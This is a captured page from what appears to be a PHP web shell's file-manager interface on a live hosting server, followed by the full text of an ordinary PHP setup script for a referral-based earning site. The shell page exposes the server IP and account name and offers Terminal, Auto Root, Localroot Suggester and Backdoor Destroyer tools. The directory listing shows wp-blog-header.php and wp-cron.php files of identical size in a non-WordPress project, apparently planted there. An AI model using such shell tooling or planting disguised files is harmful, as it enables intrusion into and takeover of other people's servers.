Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2026-01-09 22:13
admin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
assets
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
fast-earn-limited
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
includes
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
uploads
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
user
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ADMIN_LOGIN.txt
13.54
KB
-rw-r--r--
2025-12-22 19:34
COMPLETION.txt
20.92
KB
-rw-r--r--
2025-12-22 19:22
FEATURES.txt
16.92
KB
-rw-r--r--
2025-12-22 19:13
FIX_DATABASE_ERROR.txt
8.7
KB
-rw-r--r--
2025-12-22 19:37
FIX_UPLOAD_ERROR.txt
10.1
KB
-rw-r--r--
2025-12-22 19:45
INSTALLATION.txt
8.73
KB
-rw-r--r--
2025-12-22 19:12
PROJECT_STATUS.txt
12.33
KB
-rw-r--r--
2025-12-22 19:14
QUICK_START.txt
14.12
KB
-rw-r--r--
2025-12-22 19:15
README.md
10.54
KB
-rw-r--r--
2025-12-22 19:11
V2_UPGRADE_NOTES.txt
5.88
KB
-rw-r--r--
2025-12-22 20:04
checkout.php
16.2
KB
-rw-r--r--
2026-01-07 16:26
contact.php
6.71
KB
-rw-r--r--
2026-01-07 16:36
create_folders.php
2.91
KB
-rw-r--r--
2025-12-22 19:44
database.sql
9.14
KB
-rw-r--r--
2025-12-22 19:52
full_setup.php
29.74
KB
-rw-r--r--
2026-01-26 16:55
index.php
30.43
KB
-rw-r--r--
2026-01-07 16:56
login.php
8.83
KB
-rw-r--r--
2025-12-30 13:45
logout.php
151
B
-rw-r--r--
2025-12-22 19:01
products.php
4.69
KB
-rw-r--r--
2026-01-07 16:39
register.php
14.14
KB
-rw-r--r--
2025-12-30 13:25
seed_products.php
559
B
-rw-r--r--
2026-01-07 16:15
update_database.sql
781
B
-rw-r--r--
2025-12-22 19:36
update_db.php
4.07
KB
-rw-r--r--
2025-12-22 19:36
update_db_v10.php
816
B
-rw-r--r--
2025-12-24 21:22
update_db_v11.php
681
B
-rw-r--r--
2025-12-24 21:53
update_db_v12.php
590
B
-rw-r--r--
2026-01-07 16:12
update_db_v2.php
2.13
KB
-rw-r--r--
2025-12-22 19:53
update_db_v3.php
2.76
KB
-rw-r--r--
2025-12-22 20:05
update_db_v4.php
1.43
KB
-rw-r--r--
2025-12-22 20:11
update_db_v5.php
1.9
KB
-rw-r--r--
2025-12-23 19:11
update_db_v6.php
1.91
KB
-rw-r--r--
2025-12-23 19:29
update_db_v7.php
3.05
KB
-rw-r--r--
2025-12-23 19:33
wp-blog-header.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php /** * Project Setup & Database Update Utility * Combines folder creation and all database versions (V1-V11) into one script. * Access: http://localhost/222/fast-earn-limited/full_setup.php */ require_once 'includes/config.php'; ?> <!DOCTYPE html> <html> <head> <title>Full Project Setup</title> <style> body { font-family: 'Segoe UI', Arial, sans-serif; max-width: 900px; margin: 30px auto; padding: 20px; background: #f0f2f5; color: #333; } .card { background: white; padding: 25px; border-radius: 12px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); margin-bottom: 20px; } .step { margin-bottom: 12px; padding: 12px; border-radius: 8px; border-left: 4px solid #ddd; background: #fafafa; } .step.success { border-left-color: #2ecc71; background: #f4fcf7; } .step.info { border-left-color: #3498db; background: #f4f9fd; } .step.warning { border-left-color: #f1c40f; background: #fefdf3; } .step.error { border-left-color: #e74c3c; background: #fdf4f4; } h1, h2, h3 { margin-top: 0; } .badge { display: inline-block; padding: 4px 10px; border-radius: 4px; font-size: 11px; font-weight: bold; text-transform: uppercase; margin-right: 10px; } .badge-success { background: #2ecc71; color: white; } .badge-info { background: #3498db; color: white; } .badge-error { background: #e74c3c; color: white; } pre { background: #f8f9fa; padding: 15px; border-radius: 8px; border: 1px solid #eee; overflow-x: auto; font-size: 13px; } .btn { display: inline-block; padding: 12px 24px; border-radius: 6px; text-decoration: none; font-weight: 600; margin-top: 10px; transition: all 0.3s; } .btn-primary { background: #007bff; color: white; } .btn-success { background: #28a745; color: white; } .btn-primary:hover { background: #0056b3; } .btn-success:hover { background: #218838; } </style> </head> <body> <h1>🚀 Complete Project Setup Utility</h1> <p>This script will configure folders and update your database to the latest version.</p> <div class="card"> <h2>📁 1. Creating Directories</h2> <?php $directories = [ 'uploads', 'uploads/screenshots', 'uploads/banners', 'uploads/profiles' ]; foreach ($directories as $dir) { $fullPath = __DIR__ . '/' . $dir; if (!file_exists($fullPath)) { if (mkdir($fullPath, 0777, true)) { echo "<div class='step success'><span class='badge badge-success'>Created</span> Directory: <strong>$dir</strong></div>"; } else { echo "<div class='step error'><span class='badge badge-error'>Failed</span> Could not create: <strong>$dir</strong> (Check permissions)</div>"; } } else { echo "<div class='step info'><span class='badge badge-info'>Exists</span> Directory: <strong>$dir</strong></div>"; } } ?> </div> <div class="card"> <h2>🗄️ 2. Updating Database Schema</h2> <?php try { // Disable foreign key checks temporarily for smooth updates $pdo->exec("SET FOREIGN_KEY_CHECKS = 0;"); // Utility functions if (!function_exists('columnExists')) { function columnExists($pdo, $table, $column) { try { $stmt = $pdo->query("SHOW COLUMNS FROM `$table` LIKE '$column'"); return $stmt->rowCount() > 0; } catch (Exception $e) { return false; } } } if (!function_exists('tableExists')) { function tableExists($pdo, $table) { try { $stmt = $pdo->query("SHOW TABLES LIKE '$table'"); return $stmt->rowCount() > 0; } catch (Exception $e) { return false; } } } // Check core table if (!tableExists($pdo, 'users')) { throw new Exception("Core table 'users' is missing. Please import the provided <strong>database.sql</strong> file first before running this setup."); } // A. User Table Updates echo "<h3>User Table Enhancements</h3>"; if (!columnExists($pdo, 'users', 'username')) { $pdo->exec("ALTER TABLE users ADD COLUMN username VARCHAR(50) UNIQUE DEFAULT NULL AFTER id"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>username</strong></div>"; } if (!columnExists($pdo, 'users', 'role')) { $pdo->exec("ALTER TABLE users ADD COLUMN role ENUM('user', 'admin') DEFAULT 'user' AFTER password"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>role</strong></div>"; } if (!columnExists($pdo, 'users', 'referral_code')) { $pdo->exec("ALTER TABLE users ADD COLUMN referral_code VARCHAR(20) UNIQUE AFTER id"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>referral_code</strong></div>"; $users = $pdo->query("SELECT id FROM users WHERE referral_code IS NULL OR referral_code = ''")->fetchAll(); $updateCode = $pdo->prepare("UPDATE users SET referral_code = ? WHERE id = ?"); foreach ($users as $u) { $code = strtoupper(substr(md5(uniqid(rand(), true)), 0, 7)); $updateCode->execute([$code, $u['id']]); } echo "<div class='step success'><span class='badge badge-success'>Done</span> Generated Member IDs for existing users.</div>"; } if (!columnExists($pdo, 'users', 'bank_name')) { $pdo->exec("ALTER TABLE users ADD COLUMN bank_name VARCHAR(255) DEFAULT NULL AFTER account_name"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>bank_name</strong> in users table</div>"; } if (!columnExists($pdo, 'withdraw_requests', 'bank_name')) { $pdo->exec("ALTER TABLE withdraw_requests ADD COLUMN bank_name VARCHAR(255) DEFAULT NULL AFTER account_name"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>bank_name</strong> in withdraw_requests table</div>"; } if (!columnExists($pdo, 'users', 'reset_boost_date')) { $pdo->exec("ALTER TABLE users ADD COLUMN reset_boost_date DATE DEFAULT NULL AFTER ads_earning_stopped_date"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>reset_boost_date</strong> in users table</div>"; } if (!columnExists($pdo, 'users', 'boost_reset_count')) { $pdo->exec("ALTER TABLE users ADD COLUMN boost_reset_count INT DEFAULT 0 AFTER reset_boost_date"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>boost_reset_count</strong> in users table</div>"; } // V8 flexibility: Convert ENUM payment methods to VARCHAR $pdo->exec("ALTER TABLE users MODIFY COLUMN account_type VARCHAR(50) DEFAULT 'JazzCash'"); $pdo->exec("ALTER TABLE deposits MODIFY COLUMN method VARCHAR(50) NOT NULL"); $pdo->exec("ALTER TABLE withdraw_requests MODIFY COLUMN method VARCHAR(50) NOT NULL"); echo "<div class='step success'><span class='badge badge-success'>Flexibility</span> Converted payment method columns to VARCHAR for unlimited options.</div>"; // B. Create New Tables echo "<h3>New System Tables</h3>"; // Plans Table Enhancement if (!columnExists($pdo, 'plans', 'upto_level')) { $pdo->exec("ALTER TABLE plans ADD COLUMN upto_level INT DEFAULT 5 AFTER plan_duration"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>upto_level</strong> in plans table</div>"; } if (!columnExists($pdo, 'plans', 'ads_earning_base')) { $pdo->exec("ALTER TABLE plans ADD COLUMN ads_earning_base DECIMAL(10, 6) DEFAULT 0.000000 AFTER upto_level"); $pdo->exec("ALTER TABLE plans ADD COLUMN ads_earning_daily_increase DECIMAL(10, 6) DEFAULT 0.000000 AFTER ads_earning_base"); $pdo->exec("ALTER TABLE plans ADD COLUMN ads_earning_max DECIMAL(10, 6) DEFAULT 0.000000 AFTER ads_earning_daily_increase"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Ad Earning Controls (Base, Increase, Max) in plans table</div>"; } // Referral Commissions $pdo->exec("CREATE TABLE IF NOT EXISTS referral_commissions ( id INT AUTO_INCREMENT PRIMARY KEY, upline_id INT NOT NULL, downline_id INT NOT NULL, level INT NOT NULL, amount DECIMAL(10, 6) NOT NULL, plan_amount DECIMAL(10, 2) NOT NULL, percentage DECIMAL(5, 2) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (upline_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (downline_id) REFERENCES users(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>referral_commissions</strong></div>"; // D-Pin Requests $pdo->exec("CREATE TABLE IF NOT EXISTS dpin_requests ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, pin_count INT NOT NULL, total_amount DECIMAL(10, 2) NOT NULL, method VARCHAR(50) NOT NULL, screenshot VARCHAR(255) NOT NULL, status ENUM('pending', 'approved', 'rejected') DEFAULT 'pending', admin_note TEXT DEFAULT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>dpin_requests</strong></div>"; // D-Pins Table $pdo->exec("CREATE TABLE IF NOT EXISTS d_pins ( id INT AUTO_INCREMENT PRIMARY KEY, pin_code VARCHAR(50) UNIQUE NOT NULL, user_id INT DEFAULT NULL, used_by INT DEFAULT NULL, price DECIMAL(10, 2) NOT NULL, status ENUM('unused', 'used') DEFAULT 'unused', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, used_at TIMESTAMP NULL DEFAULT NULL, FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL, FOREIGN KEY (used_by) REFERENCES users(id) ON DELETE SET NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>d_pins</strong></div>"; // Plan Boosts table $pdo->exec("CREATE TABLE IF NOT EXISTS plan_boosts ( id INT AUTO_INCREMENT PRIMARY KEY, plan_id INT NOT NULL, required_referrals INT NOT NULL, earning_amount DECIMAL(10, 6) NOT NULL, daily_increment DECIMAL(10, 6) DEFAULT 0.000000, FOREIGN KEY (plan_id) REFERENCES plans(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>plan_boosts</strong></div>"; // Referral Boosts $pdo->exec("CREATE TABLE IF NOT EXISTS referral_boosts ( id INT AUTO_INCREMENT PRIMARY KEY, required_referrals INT NOT NULL, earning_amount DECIMAL(10, 6) NOT NULL, daily_increment DECIMAL(10, 6) DEFAULT 0.000000, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); if (!columnExists($pdo, 'referral_boosts', 'daily_increment')) { $pdo->exec("ALTER TABLE referral_boosts ADD COLUMN daily_increment DECIMAL(10, 6) DEFAULT 0.000000 AFTER earning_amount"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>daily_increment</strong> in referral_boosts table</div>"; } if ($pdo->query("SELECT COUNT(*) FROM referral_boosts")->fetchColumn() == 0) { $pdo->exec("INSERT INTO referral_boosts (required_referrals, earning_amount) VALUES (1, 0.0005), (3, 0.0007), (5, 0.0010), (10, 0.0020)"); echo "<div class='step success'><span class='badge badge-success'>Seeded</span> Table: <strong>referral_boosts</strong> (Defaults Applied)</div>"; } // Payment Methods $pdo->exec("CREATE TABLE IF NOT EXISTS payment_methods ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, account_number VARCHAR(255) NOT NULL, account_name VARCHAR(255) NOT NULL, status ENUM('active', 'inactive') DEFAULT 'active', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>payment_methods</strong></div>"; // Verify Referral Status column if (!columnExists($pdo, 'referrals', 'status')) { $pdo->exec("ALTER TABLE referrals ADD COLUMN status ENUM('unpaid', 'paid') DEFAULT 'unpaid' AFTER referred_id"); echo "<div class='step success'><span class='badge badge-success'>Updated</span> Table: <strong>referrals</strong> (Status added)</div>"; } // D. V12 Updates: Announcements, Ranks, and Daily Targets echo "<h3>Announcement & Growth Tables</h3>"; // Announcements Table $pdo->exec("CREATE TABLE IF NOT EXISTS announcements ( id INT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(255) NOT NULL, message TEXT NOT NULL, type ENUM('info', 'success', 'warning', 'danger') DEFAULT 'info', is_active TINYINT(1) DEFAULT 1, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>announcements</strong></div>"; // Ranks Table $pdo->exec("CREATE TABLE IF NOT EXISTS ranks ( id INT AUTO_INCREMENT PRIMARY KEY, rank_name VARCHAR(100) NOT NULL, required_referrals INT NOT NULL, reward_amount DECIMAL(10, 2) NOT NULL, status ENUM('active', 'inactive') DEFAULT 'active', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>ranks</strong></div>"; // User Ranks Table (Achieved) $pdo->exec("CREATE TABLE IF NOT EXISTS user_ranks ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, rank_id INT NOT NULL, achieved_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, popup_shown_count INT DEFAULT 0, FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (rank_id) REFERENCES ranks(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>user_ranks</strong></div>"; // Add popup_shown_count column if it doesn't exist if (!columnExists($pdo, 'user_ranks', 'popup_shown_count')) { $pdo->exec("ALTER TABLE user_ranks ADD COLUMN popup_shown_count INT DEFAULT 0 AFTER achieved_at"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>popup_shown_count</strong> in user_ranks table</div>"; } // Daily Targets Table $pdo->exec("CREATE TABLE IF NOT EXISTS daily_targets ( id INT AUTO_INCREMENT PRIMARY KEY, required_referrals INT NOT NULL, bonus_amount DECIMAL(10, 2) NOT NULL, status ENUM('active', 'inactive') DEFAULT 'active', created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>daily_targets</strong></div>"; // User Daily Bonuses (Tracking and Manual Collect) $pdo->exec("CREATE TABLE IF NOT EXISTS user_daily_bonuses ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, target_id INT NOT NULL, bonus_amount DECIMAL(10, 2) NOT NULL, bonus_date DATE NOT NULL, claimed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (target_id) REFERENCES daily_targets(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>user_daily_bonuses</strong></div>"; // User Today Income column if (!columnExists($pdo, 'users', 'today_income')) { $pdo->exec("ALTER TABLE users ADD COLUMN today_income DECIMAL(10, 2) DEFAULT 0.00 AFTER total_income;"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>today_income</strong> in users table</div>"; } // User Daily Bonuses - claimed_at (For manual time tracking) if (!columnExists($pdo, 'user_daily_bonuses', 'claimed_at')) { $pdo->exec("ALTER TABLE user_daily_bonuses ADD COLUMN claimed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>claimed_at</strong> in user_daily_bonuses table</div>"; } // User Daily Bonuses - bonus_amount if (!columnExists($pdo, 'user_daily_bonuses', 'bonus_amount')) { $pdo->exec("ALTER TABLE user_daily_bonuses ADD COLUMN bonus_amount DECIMAL(10, 2) DEFAULT 0.00 AFTER target_id"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>bonus_amount</strong> in user_daily_bonuses table</div>"; } // V13 Updates: Lucky Wheel System echo "<h3>Lucky Wheel Engine</h3>"; // Add user balance column if (!columnExists($pdo, 'users', 'lucky_wheel_spins_left')) { $pdo->exec("ALTER TABLE users ADD COLUMN lucky_wheel_spins_left INT DEFAULT 0"); echo "<div class='step success'><span class='badge badge-success'>Added</span> Column: <strong>lucky_wheel_spins_left</strong></div>"; } // Wheel Prizes Table $pdo->exec("CREATE TABLE IF NOT EXISTS lucky_wheel_prizes ( id INT AUTO_INCREMENT PRIMARY KEY, prize_name VARCHAR(100) NOT NULL, prize_amount DECIMAL(10, 4) DEFAULT 0.0000, probability INT DEFAULT 10, is_try_again TINYINT(1) DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>lucky_wheel_prizes</strong></div>"; // Wheel Spins History $pdo->exec("CREATE TABLE IF NOT EXISTS lucky_wheel_spins ( id INT AUTO_INCREMENT PRIMARY KEY, user_id INT NOT NULL, prize_id INT NOT NULL, amount DECIMAL(10, 4) NOT NULL, spin_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, FOREIGN KEY (prize_id) REFERENCES lucky_wheel_prizes(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;"); echo "<div class='step success'><span class='badge badge-success'>Verified</span> Table: <strong>lucky_wheel_spins</strong></div>"; // Seed Prizes if empty if ($pdo->query("SELECT COUNT(*) FROM lucky_wheel_prizes")->fetchColumn() == 0) { $pdo->exec("INSERT INTO lucky_wheel_prizes (prize_name, prize_amount, probability, is_try_again) VALUES ('Empty', 0.0000, 50, 0), ('$0.50 Win', 0.5000, 20, 0), ('$1.00 Win', 1.0000, 10, 0), ('Try Again', 0.0000, 20, 1)"); echo "<div class='step success'><span class='badge badge-success'>Seeded</span> Standard Lucky Wheel segments.</div>"; } // Lucky Wheel Settings $wheelSettings = [ 'lucky_wheel_status' => 'enabled', 'lucky_wheel_active_days' => 'Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday', 'lucky_wheel_spins_per_referral' => '1', 'lucky_wheel_spins_per_plan' => '1' ]; foreach ($wheelSettings as $wk => $wv) { $stmt = $pdo->prepare("SELECT COUNT(*) FROM settings WHERE setting_key = ?"); $stmt->execute([$wk]); if ($stmt->fetchColumn() == 0) { $pdo->prepare("INSERT INTO settings (setting_key, setting_value) VALUES (?, ?)")->execute([$wk, $wv]); } } echo "<div class='step success'><span class='badge badge-success'>Configured</span> Lucky Wheel system settings.</div>"; // C. Configuration & Data Recalculation echo "<h3>System Calibration</h3>"; // Sync Settings (Percent based + Mission Settings) $defaultSettings = [ 'dpin_price' => '10.00', 'referral_level_1_percent' => '10', 'referral_level_2_percent' => '5', 'referral_level_3_percent' => '3', 'referral_level_4_percent' => '2', 'referral_level_5_percent' => '1', 'max_referral_levels' => '5', 'pkr_rate' => '280', 'currency_symbol' => '$', 'mission_duration' => '24', 'mission_reset_time' => '' ]; foreach ($defaultSettings as $sk => $sv) { // Handle migration from old 'commission' keys to 'percent' keys $oldKey = str_replace('_percent', '_commission', $sk); $chk = $pdo->prepare("SELECT setting_value FROM settings WHERE setting_key = ? OR setting_key = ?"); $chk->execute([$sk, $oldKey]); $exists = $chk->fetch(); if (!$exists) { $pdo->prepare("INSERT INTO settings (setting_key, setting_value) VALUES (?, ?)")->execute([$sk, $sv]); } elseif (strpos($oldKey, 'commission') !== false) { // Update key if it was the old one $pdo->prepare("UPDATE settings SET setting_key = ? WHERE setting_key = ?")->execute([$sk, $oldKey]); } } // Ensure Admin Role $pdo->prepare("UPDATE users SET username = 'admin', role = 'admin' WHERE id = 1")->execute(); echo "<div class='step info'><span class='badge badge-info'>System</span> Admin account synchronized.</div>"; // Recalculate Verified Referral Counts (V11) $pdo->exec("UPDATE users SET referral_count = 0"); $paidReferrals = $pdo->query(" SELECT r.id, r.referrer_id, r.referred_id FROM referrals r WHERE EXISTS (SELECT 1 FROM user_plans up WHERE up.user_id = r.referred_id AND up.status IN ('active', 'expired')) ")->fetchAll(); $updRef = $pdo->prepare("UPDATE referrals SET status = 'paid' WHERE id = ?"); $updCount = $pdo->prepare("UPDATE users SET referral_count = referral_count + 1 WHERE id = ?"); foreach ($paidReferrals as $p) { $updRef->execute([$p['id']]); $updCount->execute([$p['referrer_id']]); } echo "<div class='step success'><span class='badge badge-success'>Verified</span> Recalculated counts for " . count($paidReferrals) . " active teams.</div>"; // Re-enable foreign key checks $pdo->exec("SET FOREIGN_KEY_CHECKS = 1;"); // --- Database Diagnostics Section --- echo "<h3>System Health Diagnostics</h3>"; $diagnostics = [ ['sql' => "SELECT id FROM users LIMIT 1", 'msg' => "Users table integrity"], ['sql' => "SELECT today_income FROM users LIMIT 1", 'msg' => "User income tracking (today_income)"], ['sql' => "SELECT id FROM daily_targets LIMIT 1", 'msg' => "Daily Missions configuration"], ['sql' => "SELECT id FROM user_daily_bonuses LIMIT 1", 'msg' => "Mission Reward tracking (Table)"], ['sql' => "SELECT bonus_amount FROM user_daily_bonuses LIMIT 1", 'msg' => "Mission Reward tracking (bonus_amount)"], ['sql' => "SELECT claimed_at FROM user_daily_bonuses LIMIT 1", 'msg' => "Reward timestamp tracking (claimed_at)"], ['sql' => "SELECT target_id FROM user_daily_bonuses LIMIT 1", 'msg' => "Reward relationship mapping (target_id)"], ['sql' => "SELECT bonus_date FROM user_daily_bonuses LIMIT 1", 'msg' => "Reward history mapping (bonus_date)"] ]; foreach ($diagnostics as $diag) { try { $pdo->query($diag['sql']); echo "<div class='step success'><span class='badge badge-success'>Stable</span> " . $diag['msg'] . "</div>"; } catch (Exception $e) { echo "<div class='step error'><span class='badge badge-error'>Issue Found</span> " . $diag['msg'] . ": " . $e->getMessage() . "</div>"; } } echo "<h2>🎉 Setup Successfully Completed!</h2>"; ?> <div class="success" style="background:#eafaf1; padding:25px; border-radius:12px; border: 1px solid #2ecc71;"> <h3 style="color:#27ae60; margin-bottom:10px;">✅ All Systems Ready</h3> <p>Your platform has been updated to the latest version.</p> <div style="margin-top:20px;"> <a href="admin/dashboard.php" class="btn btn-primary">Admin Dashboard</a> <a href="login.php" class="btn btn-success">User Dashboard</a> </div> </div> <p style="color:#e74c3c; font-weight:bold; margin-top:30px; border: 2px dashed #e74c3c; padding: 15px; border-radius: 8px; text-align: center;"> ⚠️ SECURITY NOTICE: Delete this file (full_setup.php) and all old 'update_db_vX.php' files immediately! </p> <?php } catch (Exception $e) { $pdo->exec("SET FOREIGN_KEY_CHECKS = 1;"); // Ensure checks are back on echo "<div class='step error'> <h3 style='margin:0;'><span class='badge badge-error'>Critical Error</span></h3> <p>" . $e->getMessage() . "</p> </div>"; } ?> </div> </body> </html>